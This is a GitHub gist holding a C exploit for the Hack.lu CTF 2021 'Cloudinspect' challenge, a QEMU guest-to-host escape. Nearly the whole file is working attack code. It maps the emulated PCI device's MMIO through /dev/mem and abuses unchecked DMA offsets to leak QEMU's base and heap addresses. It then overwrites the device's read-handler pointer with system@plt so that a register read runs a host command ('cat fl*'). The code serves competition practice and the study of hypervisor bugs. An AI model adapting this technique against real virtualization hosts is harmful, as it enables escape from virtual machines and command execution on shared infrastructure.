Created
October 31, 2021 22:51
-
-
Save kungfulon/c20547cee168bf2df596262b5c090125 to your computer and use it in GitHub Desktop.
Hack.lu CTF 2021 Cloudinspect
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdarg.h> | |
#include <string.h> | |
#include <fcntl.h> | |
#include <unistd.h> | |
#include <sys/mman.h> | |
#define INFO "[*] " | |
const size_t CLOUDINSPECT_MMIO_OFFSET_CMD = 0x78 / 8; | |
const size_t CLOUDINSPECT_MMIO_OFFSET_SRC = 0x80 / 8; | |
const size_t CLOUDINSPECT_MMIO_OFFSET_DST = 0x88 / 8; | |
const size_t CLOUDINSPECT_MMIO_OFFSET_CNT = 0x90 / 8; | |
const size_t CLOUDINSPECT_MMIO_OFFSET_TRIGGER = 0x98 / 8; | |
const size_t CLOUDINSPECT_DMA_GET_VALUE = 0x1; | |
const size_t CLOUDINSPECT_DMA_PUT_VALUE = 0x2; | |
const size_t MMIO_ADDR = 0xfeb00000; | |
const size_t MMIO_SIZE = 0x100000; | |
const size_t QEMU_OFFSET_AS = 0xe91d60; | |
const size_t QEMU_SYSTEM_PLT = 0x2b3d60; | |
const size_t QEMU_MEMREGION_SIZE = 0x50; | |
const size_t STATE_OFFSET_MEM_OPS = 0x938; | |
const size_t STATE_OFFSET_OPAQUE = 0x940; | |
const size_t STATE_OFFSET_AS = 0x9e0; | |
const size_t STATE_OFFSET_DMA_STATE = 0x9e8; | |
const size_t STATE_OFFSET_DMA_BUF = 0xa08; | |
const size_t MEM_OPS_OFFSET_READ = 0x0; | |
void *map_mmio(void) { | |
int fd = open("/dev/mem", O_RDWR | O_SYNC); | |
if (fd == -1) { | |
perror("open /dev/mem"); | |
return NULL; | |
} | |
void *addr = mmap(NULL, MMIO_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, MMIO_ADDR); | |
if (addr == NULL) { | |
perror("mmap mmio"); | |
return NULL; | |
} | |
return addr; | |
} | |
size_t virt_to_phys(void *addr) { | |
int fd = open("/proc/self/pagemap", O_RDONLY); | |
if (fd == -1) { | |
perror("open /proc/self/pagemap"); | |
return 0; | |
} | |
size_t offset = (size_t)addr / getpagesize() * sizeof(size_t); | |
lseek(fd, offset, SEEK_SET); | |
size_t page_frame_number = 0; | |
read(fd, &page_frame_number, sizeof(size_t)); | |
close(fd); | |
page_frame_number &= 0x7FFFFFFFFFFFFF; | |
return (page_frame_number << 12) | ((size_t)addr & 0xfff); | |
} | |
int main() { | |
// map mmio | |
size_t *mmio = map_mmio(); | |
if (mmio == NULL) { | |
return 1; | |
} | |
printf(INFO "mmio = %p\n", mmio); | |
// map page for rw | |
size_t *mem = mmap(NULL, getpagesize(), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0); | |
if (mem == NULL) { | |
perror("mmap mem"); | |
return 1; | |
} | |
printf(INFO "mem = %p\n", mem); | |
strcpy((char *)mem, "cat fl*"); | |
size_t mem_phys = virt_to_phys(mem); | |
printf(INFO "mem_phys = %p\n", (void *)mem_phys); | |
// write /bin/sh to dma_buf | |
mmio[CLOUDINSPECT_MMIO_OFFSET_SRC] = mem_phys; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_DST] = 0; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_CNT] = 8; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_CMD] = CLOUDINSPECT_DMA_PUT_VALUE; | |
sleep(1); | |
mmio[CLOUDINSPECT_MMIO_OFFSET_TRIGGER] = 0; | |
// read state | |
mmio[CLOUDINSPECT_MMIO_OFFSET_SRC] = -STATE_OFFSET_DMA_BUF; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_DST] = mem_phys; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_CNT] = STATE_OFFSET_DMA_STATE; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_CMD] = CLOUDINSPECT_DMA_GET_VALUE; | |
sleep(1); | |
printf(INFO "mmio trigger read = 0x%lx\n", mmio[CLOUDINSPECT_MMIO_OFFSET_TRIGGER]); | |
size_t qemu_base = mem[STATE_OFFSET_AS / 8] - QEMU_OFFSET_AS; | |
printf(INFO "qemu_base = %p\n", (void *)qemu_base); | |
size_t dma_buf = mem[STATE_OFFSET_OPAQUE / 8] + STATE_OFFSET_DMA_BUF; | |
printf(INFO "dma_buf = %p\n", (void *)dma_buf); | |
size_t mem_ops = mem[STATE_OFFSET_MEM_OPS / 8]; | |
printf(INFO "mem_ops = %p\n", (void *)mem_ops); | |
// read ops | |
mmio[CLOUDINSPECT_MMIO_OFFSET_SRC] = mem_ops - dma_buf; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_DST] = mem_phys; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_CNT] = QEMU_MEMREGION_SIZE; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_CMD] = CLOUDINSPECT_DMA_GET_VALUE; | |
sleep(1); | |
printf(INFO "mmio trigger read = 0x%lx\n", mmio[CLOUDINSPECT_MMIO_OFFSET_TRIGGER]); | |
// change read ops to system plt then copy to dma_buf | |
mem[MEM_OPS_OFFSET_READ / 8] = qemu_base + QEMU_SYSTEM_PLT; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_SRC] = mem_phys; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_DST] = 8; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_CNT] = QEMU_MEMREGION_SIZE; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_CMD] = CLOUDINSPECT_DMA_PUT_VALUE; | |
sleep(1); | |
mmio[CLOUDINSPECT_MMIO_OFFSET_TRIGGER] = 0; | |
// change ops ptr | |
mem[0] = dma_buf + 8; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_SRC] = mem_phys; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_DST] = STATE_OFFSET_MEM_OPS - STATE_OFFSET_DMA_BUF; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_CNT] = sizeof(size_t); | |
mmio[CLOUDINSPECT_MMIO_OFFSET_CMD] = CLOUDINSPECT_DMA_PUT_VALUE; | |
sleep(1); | |
mmio[CLOUDINSPECT_MMIO_OFFSET_TRIGGER] = 0; | |
// change opaque to /bin/sh | |
mem[0] = dma_buf; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_SRC] = mem_phys; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_DST] = STATE_OFFSET_OPAQUE - STATE_OFFSET_DMA_BUF; | |
mmio[CLOUDINSPECT_MMIO_OFFSET_CNT] = sizeof(size_t); | |
mmio[CLOUDINSPECT_MMIO_OFFSET_CMD] = CLOUDINSPECT_DMA_PUT_VALUE; | |
sleep(1); | |
mmio[CLOUDINSPECT_MMIO_OFFSET_TRIGGER] = 0; | |
printf(INFO "mmio trigger read = 0x%lx\n", mmio[CLOUDINSPECT_MMIO_OFFSET_TRIGGER]); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment